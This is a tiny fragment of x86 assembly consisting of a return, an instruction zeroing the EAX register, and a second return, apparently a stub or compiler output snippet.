ret
xor eax, eax
ret